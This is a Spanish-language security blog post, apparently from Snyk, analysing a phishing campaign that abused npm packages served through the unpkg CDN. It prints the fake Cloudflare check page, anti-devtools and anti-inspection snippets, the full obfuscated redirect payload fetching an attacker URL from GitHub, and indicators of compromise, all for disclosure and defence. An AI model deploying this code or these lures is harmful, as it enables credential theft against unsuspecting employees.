Skip to main content

Campaña de phishing que aprovecha el ecosistema de NPM

Escrito por
blog feature toolkit

10 de octubre de 2025

0 minutos de lectura

En octubre de 2025, investigadores descubrieron una operación de phishing que aprovecha el ecosistema de npm, pero esta vez no para infectar a desarrolladores durante la instalación, sino para alojar y distribuir scripts de phishing mediante la confiable CDN unpkg.com .

Los actores de amenazas publicaron más de 175 paquetes desechables para alojar JavaScript que redirige automáticamente a las víctimas a sitios que roban credenciales cuando se abren documentos empresariales en HTML especialmente diseñados. Según Socket, quien compartió inicialmente la noticia y proporcionó los primeros datos, este ataque se dirige a más de 135 organizaciones (principalmente industriales, tecnológicas y energéticas de Europa). Tras la divulgación, Snyk mapeó más paquetes de la campaña e identificó un grupo separado que utiliza nombres mad-x.x.x.x.x.x (donde x es un número aleatorio), que parecen estar relacionados o ser experimentos imitadores con infraestructura e intención similares.

A diferencia de la táctica más conocida de subir paquetes maliciosos para comprometer a los desarrolladores durante la instalación, esta campaña sigue otro camino. En lugar de infectar a los usuarios mediante npm install, los atacantes aprovechan la distribución en el navegador a través de unpkg y convierten una infraestructura legítima de alojamiento de código abierto en un mecanismo de phishing. Es una clara señal de que los actores de amenazas están explorando métodos que van más allá de los exploits convencionales basados en paquetes y están probando activamente nuevas formas de aprovechar el propio ecosistema de código abierto. Aunque no se trata de un compromiso clásico de la cadena de suministro, vale la pena seguirlo de cerca.

Qué ocurrió en este ataque a la cadena de suministro

  1. Publicación masiva de paquetes: Los adversarios automatizaron la creación de muchos paquetes npm (patrón redirect-[a-z0-9]{6}) con contenido mínimo: beamglea.js y archivos HTML señuelo.

  2. Disponibilidad automática en la CDN: En cuanto una versión del paquete se hace pública, se puede acceder al recurso de CDN popular y centralizado en unpkg.com desde <script src="https://unpkg.com/<name>@<ver>/beamglea.js"> y así usar esos paquetes maliciosos.

  3. Distribución de phishing: Las víctimas reciben archivos HTML personalizados (que suelen imitar facturas y otros datos). Al abrirlos, se activa la carga del script de unpkg.

  4. Captura de credenciales: El script redirige de inmediato a una página del atacante y pasa el correo electrónico de la víctima mediante el fragmento de la URL para que el formulario de phishing aparezca rellenado. Esto genera una señal de confianza eficaz que evita los registros del servidor.

Línea de tiempo

La línea de tiempo conocida hasta ahora de este incidente en evolución es la siguiente:

  • 24 de sept. de 2025: Se informaron públicamente los primeros rastros de la infraestructura.

  • 9 de oct. de 2025: Socket publica una investigación que detalla los 175 paquetes, el nombre clave “Beamglea”, la nomenclatura redirect-* y las más de 135 organizaciones afectadas.

  • 10 de oct. de 2025: El análisis interno de Snyk documenta paquetes adicionales que Socket no había mencionado y que usan la nomenclatura mad-* (siguen bajo investigación; la atribución y el vínculo con el mismo actor aún no son concluyentes).

Componentes afectados

  • Principal: Cualquier usuario que abra en un navegador uno de los señuelos HTML de la campaña y que luego descargue un script de unpkg.com. El segmento de víctimas son empleados de empresas, no desarrolladores.

  • Inventario de paquetes:

    • La familia redirect-* (≈175 paquetes) actúa como alojamiento en la CDN para beamglea.js y los archivos HTML. Socket

    • Conjunto adicional detectado por Snyk (no incluido en la publicación de Socket):

      • mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8

Análisis del paquete mad-*

Este paquete contiene una página falsa de “verificación de seguridad de Cloudflare” que redirige de forma encubierta a los usuarios a una URL controlada por el atacante, obtenida de un archivo remoto alojado en GitHub. Incluye lógica común contra el análisis que bloquea los métodos abreviados de inspección e intenta redirigir la ventana principal (evasión de marcos) después de que se hace clic en una casilla de verificación falsa.

Qué hace

Interfaz de phishing/señuelo: Imita a Cloudflare y hace referencia al posible objetivo.

<h1>Security Check</h1>
<p class="description">
  We are checking your browser before granting access to 
    <span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
  This may take a few seconds.
</p>
Ventana del navegador que muestra una página sospechosa de «Verificación de seguridad», con una casilla «No soy un robot» y un mensaje de redireccionamiento automático.

Detección de herramientas para desarrolladores: El código verifica periódicamente si hay herramientas para desarrolladores y, si las detecta, deja la página en blanco o redirige al usuario.

  const CHECK_INTERVAL = 600; 
  const SIZE_THRESHOLD = 160; 
  const REACTION = 'blank'; 
  ...
  function sizeCheck() {
    ...
    return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
  function consoleCheck() {
    ...
    Object.defineProperty(obj, 'id', {
      get: function() {
        open = true;
        return '1';
      }
    });
    console.log(obj);
    return open;

Activación por acción del usuario: Cuando se marca la casilla “No soy un robot”, muestra un indicador de carga y luego obtiene un archivo de texto remoto. Si el archivo contiene una URL, redirige el navegador (o su marco principal) a esa URL. 

Protección contra la inspección: Desactiva el clic derecho, F12, los atajos comunes de las herramientas para desarrolladores y las opciones “ver código fuente”/“guardar”.

    document.addEventListener('contextmenu', function(e) {
        e.preventDefault();
    });

    document.addEventListener('keydown', function(e) {

        if (e.key === "F12") {
            e.preventDefault();
        }

        if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) || 
            (e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
            e.preventDefault();
        }
    });

La carga útil del malware

Como referencia para otros investigadores de seguridad y lectores, compartimos el código ofuscado completo de script.js. Esta carga útil se carga mediante el siguiente script de página <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>.

La carga útil del malware:

function _0xab84(_0x5df706, _0x320379) {
    const _0x12f2bf = _0x12f2();
    return _0xab84 = function (_0xab8422, _0x3659f3) {
        _0xab8422 = _0xab8422 - 0x16e;
        let _0x376c45 = _0x12f2bf[_0xab8422];
        return _0x376c45;
    }, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;

function _0x12f2() {
    const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
    _0x12f2 = function () {
        return _0x199a32;
    };
    return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
    const _0xe50adb = _0xab84,
        _0x418764 = _0x5ee12f();
    while (!![]) {
        try {
            const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
            if (_0x33be1a === _0x463d21) break;
            else _0x418764['push'](_0x418764['shift']());
        } catch (_0xab8496) {
            _0x418764['push'](_0x418764['shift']());
        }
    }
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
    const _0xa859eb = _0x454c0a,
        _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
        _0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
        _0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
        _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
        _0x10848a = _0xa859eb(0x18f),
        _0x569cab = _0x10848a;
    _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
        const _0x491ce3 = _0xa859eb;
        if (!this[_0x491ce3(0x198)]) return;
        try {
            _0x184285(), setTimeout(() => {
                _0x405f84(), setTimeout(() => {
                    const _0x89d3d3 = _0xab84;
                    console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
                        'method': _0x89d3d3(0x199),
                        'cache': _0x89d3d3(0x180)
                    })[_0x89d3d3(0x187)](_0xb053b6 => {
                        const _0x42dda6 = _0x89d3d3;
                        return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
                            'status': _0xb053b6[_0x42dda6(0x190)],
                            'text': _0x239cb7
                        }));
                    })[_0x89d3d3(0x187)](({
                        status: _0x48490,
                        text: _0x54a6fa
                    }) => {
                        const _0x4408f0 = _0x89d3d3,
                            _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
                        console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
                        if (!_0x4cfb55) {
                            console[_0x4408f0(0x19d)](_0x4408f0(0x173));
                            return;
                        }
                        if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
                            console['error'](_0x4408f0(0x172), _0x4cfb55);
                            return;
                        }
                        console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
                        try {
                            window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                            return;
                        } catch (_0x86bd20) {
                            console['warn'](_0x4408f0(0x1a0), _0x86bd20);
                        }
                        try {
                            window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                        } catch (_0x255bd0) {
                            console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
                        }
                    })['catch'](_0x5a4cd6 => {
                        const _0xb0c328 = _0x89d3d3;
                        console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
                    });
                }, 0x3e8);
            }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
        } catch (_0x96207c) {
            console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
        }
    });

    function _0x184285() {
        const _0x5471f3 = _0xa859eb;
        if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
        if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
    }

    function _0x405f84() {
        const _0x197e4e = _0xa859eb;
        if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
        if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
    }
}));

Preguntas frecuentes 

¿Cuáles son los indicadores de compromiso (IOC) de este ataque a la cadena de suministro?

Indicadores en archivos o contenido (endpoints o gateways de correo electrónico):

  • HTML con <script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">.

  • Etiqueta meta de HTML observada en los señuelos: name="html-meta" content="nb830r6x".

Indicadores de red:

  • Solicitudes salientes desde endpoints de usuarios a unpkg.com, seguidas inmediatamente por la navegación a dominios sospechosos como cfn.jackpotmastersdanske[.]com.

Indicadores de paquetes (repositorios o entornos de desarrollo):

  • Presencia de paquetes npm de bajo perfil con nombres como redirect-[a-z0-9]{6} o los de la lista mad-* mencionada arriba, incluso si no están instalados (ya que se cargan de forma remota desde unpkg.com).

¿Qué componentes de código abierto están involucrados en este ataque?

  • Registro npm: se usa como un origen de alojamiento gratuito y confiable al publicar numerosos paquetes de poco valor (por ejemplo, redirect-<random>), cada uno con un pequeño script de redirección y archivos señuelo.

  • unpkg.com CDN: sirve automáticamente cualquier paquete público de npm a través de HTTPS, algo que los atacantes aprovechan para cargar beamglea.js directamente en los navegadores de las víctimas.

  • Señuelos HTML dirigidos a las víctimas: órdenes de compra o documentos de proyectos que parecen inofensivos, pero que, al abrirse localmente, obtienen el script del CDN centralizado unpkg.com y llevan a los usuarios a portales de inicio de sesión falsos con el campo de correo electrónico ya completado (lo que ayuda a aumentar su credibilidad).

SNYK LABS

Prueba las últimas innovaciones de Snyk en seguridad de IA

Los clientes de Snyk ahora pueden acceder a Snyk AI-BOM y Snyk MCP-Scan en una versión preliminar experimental. ¡Y esto es solo el comienzo!

Leer más

blog feature ai lilac
Blog

Convierte tu backlog de vulnerabilidades en pull requests con la remediación agéntica

Evo Remediation Agent ya está disponible en Open Preview e incorpora la resolución automatizada de dependencias a Evo Agentic AppSec. Ahora, los equipos de AppSec pueden ejecutar campañas de remediación continuas

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad que sigue el ritmo del desarrollo con IA

El desarrollo impulsado por IA avanza más rápido que los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas establecen el nivel.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.